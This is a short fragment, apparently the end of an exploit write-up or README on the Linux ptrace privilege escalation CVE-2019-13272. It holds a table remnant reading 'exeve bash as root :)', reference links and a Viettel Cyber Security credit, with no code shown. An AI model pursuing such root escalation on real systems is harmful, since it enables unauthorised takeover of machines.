| | | exeve bash as root :)
+-------+-------------------+--------------------+
https://www.anquanke.com/post/id/193863#h2-3 https://jm33.me/cve-2019-13272-linux-lpe-via-ptrace_traceme.html
DatntSec. Viettel Cyber Security.